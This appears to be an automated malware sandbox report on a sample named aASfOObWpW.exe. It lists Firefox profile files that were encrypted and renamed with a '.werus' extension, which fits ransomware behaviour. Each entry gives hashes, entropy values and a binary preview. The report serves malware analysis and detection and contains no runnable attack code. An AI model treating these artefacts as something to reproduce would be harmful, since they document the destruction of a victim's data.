Preview:	.\....d6..^........I....v.............q..WN...U^f.R.c.A.....]....l...6.Lm.Xi6.dtnS.. ..4CC ..4[.xo.$h.....-./...?U.9.AG.a_lR....^.w.....S2OP.k....iY\m..6<.5.O\|.7..T...>..k6..o......FT..^k.........hA.v.I...p...."O\| ...b.....x...#4...mW+LZ..=...i.n.6..O5y`.,.5H^.a.<.....S=%.n.[.......#.?(.B.#.3.x.J..@>..W.U..;;..^8l...)...4...[.Oj...>.",>.!.'n............}....)...=:Vz..N.!h.I..QXN....=.......z........K@.........g8.d.=+[....C....=M{.....E:.I&I......H.87..jH.S.VQ.V..}]..e..._.i..0. ..O~..{............G\W.!.>3..4[./${.\6O..J.6-....uL......7G<q.`Z....5..."..S.m..&h#.y....z..t.;..C.........qvX..s..%......nH;.l...s.@.5...\|...z^.j..N.,..>.5....;.U...fh..Td...\.6....r.!.3.."L..QkBM...?..?.D.....9.?.X..K.#[c..gC2..&8...QuD3.W.......>J....3.....:.D1.....H.!7....7.(....0.~qR"...a.p....z...Z..U2...+..hD...!....../.........B<N.3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	262160
Entropy (8bit):	7.999260859641857
Encrypted:	true
SSDEEP:	6144:lKTh3f/SKT89drXojADbicYE02BWtbW5JSSWVYtf1ut3W/t:lIhPHOdr4EHYE03SJj4Yt9ugV
MD5:	444F8C7CE022F0DDDCD34DB3A4D47BB8
SHA1:	933FAC634665C73FD71579814B45A00260B9E7A7
SHA-256:	100C452C2AC34742A8AD5097F4D0274986D666796ACB0B5C671C5376F57E150F
SHA-512:	93DC5FE09A72CBF9B67CAD8B2559FB591793D1943677EDB6BD878B583B660CD864FE94D4A76503F3AAD34B4EE73FE9914C20537A5C9BE39F6DAA3FC2BB963C44
Malicious:	true
Preview:	...-n.fF...wG......0...'z...TS.Q.(hZ......1.q..p.m..z.........x..........6....F..a..t..(....w..j...cT.$.4c..{t=..B...$h0........@.8.l.......P.. j.bC.+w.(dIy..A.Z.....FR....9.f~.a..do......O......f1..x0..L>q.....;.\M{.[u[..=.%]..4e...[..'.>!.......7....cL....W./....../.b....2.c7.f.l+....s.x..h..>....1....0./._r.....O..t..e.SO.....j-B..;......0..\|..d..pt..u..!K.6.Z..........3.KB.H...m..h.>.6]....(.'..z....u.....r.]...,5h7......T.b.eI6.1.D.y..6..GB.3..:r...).~....&o..=.........}:...w.U+F1>#...\|..8.I~b.E..T>nw_y1l...Rk.Ds.[b...[..(..x.C.(.5..x^k..>GUS.x-g.r..B..A~.4.F...ir....f...]2..h}<.....v...+w....!.\|.i.aM/..)..{.{.V." p..n.Ek......%.u...g...{.mO1...i;.G4..).p\...JY...e.+...O./.....<.B1......y.(.\.$ `.9.....\|.5..2!..f..F..$...!..=!n....M.c....Z.0}.uV.....f..\...k........WQ..OL.k.+...+(.^....'.P.[2..:]...h.HpOU:I....[z........\|..8S:Z.....b.<.E.l+..9.'.m.)f.w4*.....wc&e.8...).....dI... ...DX.5.7Q.y...+.....TO.R..C.. p.{.z.'.".rk`.....~. .u

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.998003183475667
Encrypted:	true
SSDEEP:	3072:4zXjZg/zywjC3Y1p1ZQFBR7u8xmd/+DFE/U5O7tQg:4zzZKzcYT/QoNk+COxj
MD5:	74E1DF4B62964AE21D8D6198A5D8445C
SHA1:	D820657609180520EF1E8A1089932F361960F70F
SHA-256:	529CC9F0A4B1FEA08EB87400220CD4F93AE93139A51D72BA123BE91CCBCAD15C
SHA-512:	8545AB9D51972A664B07A39B1D1B622136ACA880FB7EA4C54E22E939CDAC25583BA1AB006EB0F8EE303AB2A886B88867945C67027B4DBA41D7C5C55DE4BE129D
Malicious:	true
Preview:	...-n.fF...wG...7f.w..6.]\..-. d...CBS.E.H.N..f...ri,.@b..D.i3G.4.Xw.Rw.?._`..........k.#.....a..}^..9.....d<...@?-...).f....r#... %#4',..[m.Y.jGB...[B..V.?_.Eab..C...q..w..Y.WV........sj.:.Y..K.]..0..oD.X..2.G.....].J..F.5l.Aw...p.....W.....0.....!.L...2h...-..>9I..?4.....ys.-..ov...V.p.)H.[.h.a=C.......?.r..m=.-...4.E....K9.Q..V.8M......5T.Bu..(7}$...........1z..>.)."...#T....i..g......6.ry.m....$.f.~...jQ..'...?..gXd.....s7u...fi.-F.5..0);...%?....xj....GM....95..s..N..j.....B.SUY...y..\|_?...eQ].=..!..TaU.0......c.l.).t..@..g.L`.... ......N.">8..gc..gs1[5.9]S....(...:.=k..B#u.]R.0...g.~.,..9I.....m.a.u..R~'o.aSk.....P...n...v.b..&:HKZ...........!......(.,.....Y....../.)v...}v#.NQ..~..U...U....ZO....1......J.q.G..?......j..T....'..^.:.6a..qq...,.L...B..3.."e..Y.f.g({.W=.F..$.c.X..J."...:T...v.\|.5$....\@$...7...^.C....j.E.;M..'.9xR..f....0.....S.U...P.i...f...(.[.Z....a.5..^F..>.-.g.TiWt...f...D#..`.(..A.]V...[...W...gX.>..5.T;.[U..RE....a

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	3792
Entropy (8bit):	7.95077246271001
Encrypted:	false
SSDEEP:	96:wa6HJphjKf/efG6A3IIRnxaMh0XKyF+AMrWYMdQ:wbtKf/SA3IKFh0XK5bX
MD5:	A798C985241057341FC61BDE21F1FFA8
SHA1:	A966F8A90384A981AAFFB5EEAC4A9D51224B1B34
SHA-256:	D62B58992FA402F10AE8C965BF2EBBBB76B3F33D7D342C1E72792154CE2D2A8F
SHA-512:	78C4816D0F5278F4854CEA39103DAB857C616C066A174B298608A08DD896A6F46317C199708421D2B5C871138DFDC4E3BD3EB42EEC5FE4E4BDA46877D6E2F16E
Malicious:	true
Preview:	.X..Oa.r...]..j.87......_vK...X..Q..J0..6..?3......"::t.?.Iz..nd)..Z.0i....8E<C.h.NH......QO..D..-.gC...BM..h}.....he0Z..4..........p=-......P...S.. .Q.$/..........i.6..3...~_.`......A./MS.2..cQz~._....SLn..W.Q.o.-A..8#....3..5.....8C....Es...5=..[,@....k.ws....2../...CSJ.;.e6,r.6......(......7z..5.........@....:i.QV\....O..l.]/..ae.7&)....R.,\..Z..g..j..E..K..C3. u.o..)C...c.fH,...o...j...E.!...E..j....j...?...y(..U.K.8.......w..n~...Qi...&....v}J.~.-.F>k...?.=.).S>....._..\|....yF^s...L'8J...u....v.7...0- {(.c.w........rV!wr.f.z.T)...Q..xc..v.......~.....R.........\..m.._.]..{........S.:.Q.......`}..P.V.;aE.E..E..^......6...?w.;$...Q6....$.&8..F@..W...A.U......'G&%.n..}...e....8....^..#fDd...1..,......+zg...".<l..%i.Rh...c...^...."....k+...4r.7H.........Cpn......I.E...F....v?..Yz..gx..s.C.....9~'d....(j.]Y-L....a.N.._3$.....S...k..Q:B.X......@.........7g)mg4......J?..6...q.......!v.[..IP...0.....i......#.R7j.:....C;O..4..k}w

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	7.954242539328107
Encrypted:	false
SSDEEP:	96:6ndUH3+ylcnKWwD281LQMYTzyVlIWHDeetMzw6s5xKtUOhrTHt:cds3yTi2YwzslIsybzw6gQUOtR
MD5:	31DEF3C6ED22837701F1F6BD268CC03A
SHA1:	F4DEF7011C4AADD723A9DC5880E9AB41AE5A4893
SHA-256:	A76791AF39E565A55318EC007B72DFF4B27898B694EA922C9E5A9BAFBD37118F
SHA-512:	62241D8D3839330CAFADC0E58A7A14410E26160F92BAC636145FFB4ECC8481EE139797DC7AAC2517EFDF4992413433852F3BA3C1C52655E0B9A2E0EFF247D1BA
Malicious:	true
Preview:	..#Y./w.P..QUG.p...GY..$]D.@q.K.=....`_J!-'.....FF..-.O.6...%=_I..&s.Ym.p...:....=..J...<.n..I....iF8..t..... Y_J.Kz...F.....K......S....>.XIg..L..R.[.....[.......q..,I.....N.@..`..HN_...P.mDg...[7....V......%....h..FZ..9G.....{;`x.fQ...\|.5...R.....I..>........eP7u.R.....zS.d?...IG.......H.z......2vd..j..o....".....h.9c/....s..vE...rtq.@.pi...x.....G=Qw.....5#.1.C..n.\.'.T.. ...c..{eU...g....+.>.......}.l..y..K7......-w......z......S....LP..w..1.R.&..EE..[.xV.`...(W..z.8.#.7.X..U.7e..2....;..R.D......%.gw2M2QD.r...W.....k\..k..)v.O.S..{.%..,......"....af.....3...hq..hm..^fyGl..c...=..:.2mO...l.m1..^... .W7...7D..U.u...n.0m>...y.A.`.L..+...=...SA#z.'.I.)..&.)..&H\|..}m..u..\....E%.P.H]y..&.......O(C....!....H..]...).k%{PyvZ.+....oI.,....Y.af2.....#.A{.........\|`... 5......$)z..i.9QT.\|..c..Z...)j...n....Wd...d...{.t....6.Z.,.[....xd.^....\R.....@.F..-.V...F...K{...=s..m.$/.)\..4$..(.9.......+x.V...C...l..bJ......1..M...._\.{...c6V..[

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	18384
Entropy (8bit):	7.9890364235424665
Encrypted:	false
SSDEEP:	384:czag2OEoMNpcCIOEYbOEJzpFraBbbamhAGMiZxd4IqoFt:czag2O/CIlkOEJ7uBabGMidZt
MD5:	F1B43D07E7FFB5DF461837D534FDDBD5
SHA1:	D9815FA2F025679F8AE8AD5F6836B98E9285A180
SHA-256:	E1FECE5840296EE1631DE02B0BEDFA2718AEEBC2F8AD74250F613FE1E2D4E5BC
SHA-512:	33F8B554C66AF8AE1EC017A5C467161A96CF89BC0A91BDC470F99FDCA9675C88D10F47DCE1A6F2815CA2E6287A5C79C439CA1840EC041541E3B36FB385615915
Malicious:	true
Preview:	....E) ..4...<.1.-..h....L.H...6..l.A.W.g=.....<.IY...(.L..v....pT..8.\|.g.vi2...S].f)..j6.G.+3..+.@{......R.<l8}$........J.2...Fic..D...........Or.....y..P...]....M.F.x.$.h....S?.s.BB9" (,..Y.>q8g.bM.='.QtC..L...4a$...."n.P.....p...~=.U\..D.p.N@_B2.(.vn_.. ._v..R.K.@.m9w.......N....GJ..`.....h.6...+1.r;...=...t?w..$.j.7.o.+;.Q.0..8.9r'].H.{..zZ.._+'..x.LzB.~.d9.....-.R.a}.nn...?..T....$..vY)........I..'..>.L.-.9.....u.X-s.}FO...Q1.&i......G.`.b....t@...u^jY.f.S\.\|.?.-..."..1..@(........p....Vf..e.H\|.K{.H/........X...).T.O1.}..f. ;>C...8....Kp..h......VI..<.j....<.....-oR..~)..c$.m..;=.u...&...%v...........w2j.....\|..........K..%D.....`.D...]\|PQ.T.z.X..<..q..{).E...._..Z9...>..?....4.8.AQ....~.Q9.....[.Q.o...jmt....a.......W.(.X>.:... .n.....6...@Z.j...$..D6.\|kl.A.m.k...O....Ec..../Ss5.l.H.!M..X....[....2.1!\....:.'.........;y..D=....Pv$............=.E.l2.67N).a[S.....)..X...K.aJ..&..<+...V.S....9.A...t4...PdR..W.y&

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	18400
Entropy (8bit):	7.988544335198912
Encrypted:	false
SSDEEP:	384:LTMWQOBbYIDwATAd8+Lg/aTL3tPq9M95v6ZKCSXGqwCZCW/T:LTJyID3TAq+LgmcX83GqfZCWL
MD5:	CEA5FECB6DEFE0A52165A7BE5092516A
SHA1:	4A46418FE874E9F95DF7527B319ED6EAA675B122
SHA-256:	D42E2620119E41158120007A171BAD50C235475CF20C372985CCC4758F68E3BC
SHA-512:	EDFDD8E6B334390C7E01F3E892EB90CB652073C24555DB3DA39D7D4AF2CB7AF063937AF415169630F7CB5CA08D1AFE1256AE5065CB557876F83B0B91DABEFF98
Malicious:	true
Preview:	...K.y6.#n..v.&.............B.d.v.a..a..N.....r..V.t....q...G.}y.V{b.Y\|...VB:.y-......}bl.9..V.KIL....1i.T..sc0I.)S.b<.c+,..Gh.....T.6..w..k.!.E...dK\|.D..v.......I...V....J.mHc..y...ib..Uck..vd.h.KB...>.ed...KA.=e........0.V..u...s.4t..ED3...=...$W.f.A=-.1e.....<..#.j.I..".P-.k}....]........].F.%...v..M.Y%.Q.8].y....k.Tg?.7Oe...0m..L...;_2..62.......q\.F.D/...F.8...._..p...F..m...W.......0...S.@...;kG.]u..P..~#x1P.bk...K..Tt...Tv......QG..W'.....z.....0.=[n....l.h.=....d.G.p..zMJ4aJ~..Hx.!.2..h....f..~..W .MO..h.n...:E.).....U.yIp.47...C\|4h...N....4.i]<.Sf<.....\|]@.[..sX(..Q.i.9.krfXL....WW. RNQ..31..a&.~b.6..A.d).4......T....Wi.eI...; ...>.....n.......I.-.+D......)...C.%.k....+.uQF5]vi.-!...Y.t...$e......2....<.....`2..P..DrHqj7n.?<.c.r....9.^...... DF,...8S..$....~x.z..m.I...4)..(.3.K.[.SQy.).~Qc..<o.....f........jQ.>..Z.}9......7<.$...NF.!....C...6Z.N=7._.h.!..I.\..F...........z3K..x$....M p.=..1!.X-..~.. .xE.*.D..<\C.VE.}..4JL.3.W.._.#pt.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.543915448994644
Encrypted:	false
SSDEEP:	12:qIszC/SBxjx9mEW9F43UW106AvlOWlwXIJa5Rs2VQq:qBzC/Svmzgl06ANz2yoX
MD5:	C9FC482D67BC7484B5DEE4076B013155
SHA1:	48709F12ED6BFED6731C1745F94DCBA5D00E33FD
SHA-256:	AFB8036EF4F7CBF0061CD3DA644E23126C5AF2F462F8B298ECED8D5F43DFE6D4
SHA-512:	6185CF7F53C6FF008D6AF771E5E80C22A0A47853DBAB62C85D8B1F6DFFD2435D2B4A095ACFC739DC4426324533F194E726B22E01885AAFCCA16D0DA14A8C76B5
Malicious:	true
Preview:	....{..-...V\|.r.H....M1Vq.U.b.4........W..S.<............G.p...zG..nU8.`..F...B.....y.5[P.../.I.m3B.!.9...q...~......:.S..../C.#e[{..\...:.C$..>....#..0.Yk.)f..[<.......d.o^.c.q[7g.BM..!..&..ZZ...b..zZ....1}Z...!.$r..).69..:..l."Rc4y.4~x.^y..h"...`.;.G...$..L.>....H+.. y..0.m.R,...p=...i..^.u...[R.....F.{...5yWL..V.."0D.4.eQ?......Q!.f&....E...XKO..P..J5.A.A..Q.E.C..k.d......[?..4z.3$..k{.F`a.\|[...^.k..%...E. .`.....B.nv...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	4144
Entropy (8bit):	7.953104410944116
Encrypted:	false
SSDEEP:	96:Fj3FmLl8OXIHPOvU0yB8oR8rz8rY0PHxLcQGz:FbFSmOOPX/Nuyx/Gz
MD5:	91670E3D01CDAD9F75EB87D2EDE93540
SHA1:	26AB57C715C43F6EB83D0C2CEC861E6091F97CEE
SHA-256:	A044EFE79ADB05E5196A013391FCCB2CC8E595BBB1D4C5C401DDA4198E7E08A6
SHA-512:	877DAB6E3D090414408993E198B36D556F0230E3070935E43B0BB9AE31BED1756B96A3DA71E5680682D78FA8F8FAE89A6E093E03DF559B8B2CD8EA2939516B0B
Malicious:	true
Preview:	.S.[H~..}.........LDu)B..Z.."..B..{.....s...H...i1......Ff....7...rr.^D........b?m...X.Z..x=.q..&x.........Y..3 _i...y'...w....s.M`...Ak..8.7^+m..n.]......h &..".k...C..._.....Q(.Vx...\1.;]n..HVjA."..f.v../5.l...X.V...c....I.gi=...H<+.c..co.....E_.T[...i...o[2G....HB..n...}..40wji.{....[J...u...nq....16.0_."......L$....l.+~i>.g.a.V.c.<.E...../.!..U..E............n..w..>..$..g.I....\|..`....p.,..5..l....<.,$...g..~$Gr@........>j.3n.#sz@P4.......6....C...pZ2...2.>.B...nzJ..ef..9.g....I.Y!..Y.IZ...3.%.......=.....r.\|...i...aC.]....])..U..m..N8......e^....U.....l8.x....X.WjjX.+Jg.9...>J....4!a..H..uq.A..T.8..-\.o..E.]1.T....s.6..U......{........S......#DN.%...%&U.t./;..Q....7sM..h.Op..;qW'.rD..O...an3\.a.r5....~._.w..fr.-W`....XH.C]8...I....s...H.....8..$.>}vQ.yA.8...6.r.W.}7.'Ak.RH.y.~;'..&...FX........9..w.!"..>..@y6......\|......h......*.b.GN:.q.P'.....H..6..,.t.-.t.}.z..U....(pQ......C..si.a.4 ..5..B.r,."b.D...v!.7..P.z.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.543999551375229
Encrypted:	false
SSDEEP:	12:GqvrKbagoQMy//Ze8WDHB5UmXXtVIQiEj8Y7SACX:GqmZ/cxHB5H+EjOAu
MD5:	0BF7525C093D31309EBE45EEC145095A
SHA1:	BEC2632ED0CEF23C3DD733973B66B7AAE1992C6B
SHA-256:	AC9A1CF95A19D43F299935A3D7963AB0B62669571ED3FC435E1E0C0719009576
SHA-512:	8DF5538A394D0B2B73CA0DF6164DDEA1761BA951DA8194F3585EB6B6B259FCF003544AEDB98D408D684816D713000832C4797342931C165C38746052E7F5B06E
Malicious:	true
Preview:	.-X/5.q....3..w...H...1...m9..G..Y....z.OH2BO..y6..8...eS..F(.+K.$%h<..=.dM.......n-.~qTq...M4Y..$...._....K.TT.....6a.y.......%.q..r.x.B.\3W/t....JKKR.......M.S...=.....r...~..]_.......C.t....e......^.@.....U.i.~....Q.G"HH]..4..U?.ID.i.1......z3..!....z..y~.R...Ee&.>.Ra.5....S...`fj.0...........53+..-Y5\|.[..z..B.%<>..5:U...^.....Y.j.s......@.H.^&..A.LsR.q..4.u.:.E......#.._.....$......H.L..5..^.....I.1..T'..1+..84.....h.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	15008
Entropy (8bit):	7.987282569381226
Encrypted:	false
SSDEEP:	384:9MFXUmVrs5Ggi7RwL+rvzBnfIcGK6qZf0W0IUtFI9gtY:WFXUh5GDPTVnfoWOYoY
MD5:	8135F671A017D11CC13DD5AA7890AE0A
SHA1:	A990F4ED88735DEB913DBE00B185FB3978442FBE
SHA-256:	438FA2DCD505680932263D5FD26CD79A2E3CD5AAC8A34610301801CB3DC1E428
SHA-512:	52121A69CBF25C5BCD9E76A2C0392349098232AD4E26634D2B763FDCCEC544B86C15AE28E513618C3961F6D3B120BCBE34E06AEF83FD276E2E1DE2A47975B17A
Malicious:	true
Preview:	......~.tI..L.=...).Y.........'{P) #T...Tt.78.$.)\|.k.OZ.c(y.....{}..(F................./..n.uQ/c..B.E...V.M=....R\..H.`@..J....hn.J?.X7].v.aw....`?..m..u].B+...I_.I.X..........>...1.....p..jG....m.nI..).Pb8....../s.w.....$e..f.5H+W....;...2C.i.5M.....(....Z..:.g...9hE......e.B.`...04..;WfV..0..BC....u...\|.lh..%'.1.<M$....52......&T.dk.....K8.m.....2d........5..@....;.y...,,H.dHi.j..3...:.U..b...........y@.;i....g.q..5...]..[\|.\..H@.)m>x.p..S..Ql..6.c[.)..:..MP..7..s.Q.........&G..q.X.;g@;.$_...........$..Q..\|..z......uK..o-.sn.F....%B.n;.Y....1...R0.Y....._^.....9.j........z....>X.~=....S...u7.....n......r...e.4k.>...M..c.Ch...c....d....?f.q..2-y...M.Q$........z.Ms.7#m..&....).)......5...4....].1.Y...)l...VR.D..4..9.R>....HV..FN.62..&.c..b.w...$.I\|..I^...0...I5.GtE...Ds.p.....I.O/.<B..G.n qJ.4\|.p4k}....&.,-..N. %.....oU.....bc.\`..6..c..^..)~..bsPs+k.......k.cl0bD.....7...(3G.......{U.a`.S.2..... w7.m..>....M.nk.r...%....@"..f..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	7.985826664477682
Encrypted:	false
SSDEEP:	192:/vTX5A054wKYE8tn+tTjDLLyYWdOQEoYbB+aMYunuLKr0DYFR7r6BC0TJo1T/5:/LX5yYEpDLeOzoYb5unuOgDYzr67s
MD5:	5C9F7B6FCAE6BB998A9A7CA3E1D16B0B
SHA1:	A459933185B329F968FB2585E9632E69BBF96517
SHA-256:	AC808E4FB4D3FB9FD01E951BE0C9B1F423AD5F9D8AC10A68D704BD8C88C62711
SHA-512:	09BA180EAE1993A4D34BE089A0A6C7F3599409488242CC24E3409AB3C0290FEA9BF7ECE8906EB55A48EE6D1D949CBEFE7982E08E44E91A0AF9E1967E9821A522
Malicious:	true
Preview:	.....B.7Z..uV....t.ay.f...+..Ng.+..o#wuPA...y.u;.7.s.8D....d.--.........i.$n..."M...b......W.a......z...{..+uQ....6.KXB.......p..+8I..'Y....+.c...EH#2H...5..M).....Ekk5..........D/.I...4EOi$.Oo.:.....xy!.(.\|..K..3s......,....oT~o.....ntT..D.z....(.9..L..HI...O.Z#.KLLO.Qs....,b......_.!.{h.\|t....B.\....R....."....j;.d.S.3`u........._.<....2.(%.{...;=....S.J..W.>[..5.v.=CA_.......k.+ ..{7"{.m..W. B.%..8...d....O1.?2[...L...LZ.d..VbY.!.,....g.......r.5......2%..f...:...M..y...........<.....2.?.c..9..M..h\|.B...3....#..../-.....r....4..;O.:...]...L.q.uA.....4..(H.....0.}W..."CXM..Z....'.6)...%@..x..w...M..W.1H_..X..[.....D.......?s....,..9....i../..m.....VT.~...&.N.._..p...'......g%..i..9...+k.a.3/.Q. .....V..qb;.{....Mc.!..q.N<1.'k..Eh....ap.l..d.B...9L..C.@YH....e.'.!...i:.rIV8Y+..Q..8.".u...&.........Ld.b..Y)V..p..jVy?...H}..3...q...UT..9..H.J+/@'i...A.....x..G.......\|..xrSV.....n.I.U...>A..).w'0.0..Y .[...I......\|U~.'(.m.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.557289530001357
Encrypted:	false
SSDEEP:	6:AC4AQ7/Dcw4S/Iz/IG8VQTr4I5hwmACY2ABHPRaWxNGpV5A/m1aaA6wqkWMN2w4H:0LDRmY3n2kHZspV5dB5wnbDhEr
MD5:	4E108AB7DFC6C7016961EB8C03A533FC
SHA1:	3FFBC4FCD031AD44F14ECAF76BCD653B0D3A24F8
SHA-256:	F153B89E619DF58E9774BA4CF2715DD9CE662E4E3A79FA96B22EC8A06F2D1087
SHA-512:	48840FACFCBDCB75F72A6C2DB9E873F274A33E05A9F038BEB912155D8EA76B095583650BA5AE25BE6DA5498C0E082635B4378CB5AA37CE241EC8D932731CFDA6
Malicious:	true
Preview:	...cS@h.....~..P.EjQ.........;.....u.....7....cq.H^S@.w`.... \|...M?..?..K....b....`Z...,.k.Y..GuDZ..-d..,3.l..FBY:.L.<K...q..{.kT....,.$h[...Z.....B....w.mk....._...v.../j...SJ.O......,...G.1;.......J.g......y........d*\.#.P...j}W...;...........&sT!AV......<=.M......N8.M.o._.,...".S...w......n\CV..2<...\|;SI+.k\|...#..\|..%I.)..,1A,SY.....:'..]..?q.\R.#`....):XMQs)..<c(......k.....lx...F..u.....d.!.........z.....r.u9OG;.k>....9.(0.o]..qE+..qS.x

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.6093104352896095
Encrypted:	false
SSDEEP:	12:IMpbui11wXD0H4SbZq/Bg30WgV/HBrtDR/UUkAoS6hEqnc:Iou0OQJbgg3dg5BJ9/NkAtHqnc
MD5:	49F6CDA4FF5B676F518ECE56F1D87FDB
SHA1:	C6EE444DE5F5F3C5B250D9A8E3FAB25A912BA317
SHA-256:	CD280D81BF8F8386F7604BD80CEA46CF2DA5FFCD6A386E65C3363BC876D80353
SHA-512:	67D446C37797ECD90EEA4FE3F968BE5082A950C7DCA835162650AC1DC37EBC6B10BAF3E798608B2D02D22B1CA00AD37F247270D29F6248C38CD3422BA7C92BBB
Malicious:	true
